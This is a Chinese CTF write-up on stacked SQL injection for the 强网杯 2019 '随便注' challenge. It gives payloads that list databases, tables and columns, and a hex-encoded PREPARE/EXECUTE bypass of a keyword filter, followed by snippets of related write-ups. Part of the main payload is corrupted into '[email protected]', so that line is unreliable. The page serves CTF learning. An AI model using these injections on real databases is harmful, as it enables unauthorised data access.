强网杯 2019]随便注(堆叠注入,Prepare、execute、deallocate)

然后就是今天学的新东西了,堆叠注入。

1‘;show databases; #

1‘;show tables; # 发现两个表1919810931114514、words

依次查询两张表的字段

1‘; show columns from 表名; #

不过有点问题,只有words有回显。(翻博客发现数字串为表名的表操作时要加反引号,加上之后发现的确有flag字段)

大佬wp展示了一手存储过程绕过

payload:

http://web16.buuoj.cn/?inject=1%27;[email protected]=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20execsql%20from%[email protected];execute%20execsql;#
使用了大小写绕过strstr($inject, "set") && strstr($inject, "prepare")
去掉URL编码后?inject=1‘;[email protected]=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

PREPARE语句准备好一条SQL语句,并分配给这条SQL语句一个名字供之后调用。准备好的SQL语句通过EXECUTE命令执行,通过DEALLOCATE PREPARE命令释放掉。

@a变量的16进制值转换一下,看看什么意思

————————————————
版权声明:本文为CSDN博主「wuerror」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_40871137/article/details/94349532

原文地址:https://www.cnblogs.com/kuaile1314/p/11723418.html

时间: 2024-11-07 19:51:42

强网杯 2019]随便注(堆叠注入,Prepare、execute、deallocate)的相关文章

[BUUOJ记录] [强网杯 2019]随便注(三种方法)

本题主要考察堆叠注入,算是比较经典的一道题,在i春秋GYCTF中也出现了本题的升级版 猜测这里的MySQL语句结构应该是: select * from words where id='$inject'; 构造Payload:用单引号+分号闭合前面的语句,插入SQL语句,再用注释符注释掉后面的语句即可 先列出所有数据库: 1';show databases;# 得到: array(1) { [0]=> string(11) "ctftraining" } array(1) { [0

BUUCTF-[强网杯 2019]随便注

随便注? 那么我就不客气了,先试试返回真值: ' or 1=1# 返回了所有查询内容,共三条,order by猜测字段长,发现为2,验证了一下: 日常操作: ' or 1=1 union select 1,table_name,3 from information_schema.tables# 匹配关键字?百度一下发现是被过滤了,没法使用上面的语句进行查询 手注总没有自动好用,拿去sqlmap跑一下,注出库名:supersqli C:\Program Files\Python38\sqlmap>

刷题记录:[强网杯 2019]Upload

目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challenges 参考链接:2019 第三届强网杯 Web 部分 WriteUp + 复现环境 一.知识点 1.源码泄露 www.tar.gz 2.php反序列化 看起来文件很大,但是用phpstorm打开的话会发现默认打开的文件里有两个断点,其实是给的hint,指出了反序列化利用的地方.之后常规的反序列化

[原题复现]SUCTF 2019 WEB EasySQL(堆叠注入)

简介  原题复现: 1 <?php 2 session_start(); 3 4 include_once "config.php"; 5 6 $post = array(); 7 $get = array(); 8 global $MysqlLink; 9 10 //GetPara(); 11 $MysqlLink = mysqli_connect("localhost",$datauser,$datapass); 12 if(!$MysqlLink){ 1

[原题复现]强网杯 2019 WEB高明的黑客

简介  原题复现:  考察知识点:python代码编写能力...  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简介 页面提示有源码可以下载,直接拼接URL www.tar.gz 下载后发现一堆php 初步考虑就是有考察根脚本编写有关 打开代码发现这些 有get.pos 还有var_dump() 每个页面都有很多看WP说这是shell 因为很多都不能用所以要编写一个能检测利用的py v1.0版本(速度太慢) i

[强网杯 2019]高明的黑客

题目一览 进局子的前端: 那么先访问一下www.tar.gz,果然可以下载" 然后我人就傻掉了-- 全是些莫名其妙的东西,难不成php也有花代码这么一说? 考点:fuzz脚本的编写 其实这些文件都是有讲究的,既然告诉你网站已经被黑了,这些源码中其实就藏着??. 那其实思路就简单了--找出这些源码中所有的GET和POST请求,模拟请求一遍,看看那个能RCE不就行了. 放上我的一波脚本--还是太菜了,就写了GET的,依旧慢的像蜗牛: import requests import re import

堆叠注入tips

漏洞成因 使用mysqli_multi_query()这种支持多语句执行的函数 使用PDO的方式进行数据查询,创建PDO实例时PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为true时,可以执行多语句 bypass技巧 以[GYCTF2020]Blacklist为例 preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject) 获取库名.表名.

[强网杯]随便注

[强网杯]随便注 当所需的语句被ban时可以考虑,用其他方式实现该语句.但是如果想不出同样可以考虑改变数据来利用本来执行的语句. 打开页面,一个输入框,前端注释写了一个SQLMAP是没有灵魂的23333(为我的sqlmap R.I.P),很明显是个注入题.Fuzz之后得到提示过滤了一些参数,并且发现存在堆叠注入. return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); 111';show da

2019强网杯部分misc&amp;web

0x01 前言 前两天菜鸡+x和几个大哥算是正式参加了一次ctf的线上赛,也是第一次参加这种比赛(前一段时间巨佬也给了我们一个西班牙的比赛,不过不算是正式参赛,做题的时候,比赛已经结束了),没想到出师不利,菜的一B,除了一个证明你签了到的签到题,一道题也没有弄出来,今天的我也是一个卑微的弟弟啊!比赛结束了,大佬们开始放writeup了,准备有些题目还是再看一看,复现一下. 0x02 鲲or鳗orGame 最先开始做的便是这道MISC的题目“鲲or鳗orGame” 进入网站后,发现鲲or鳗orGa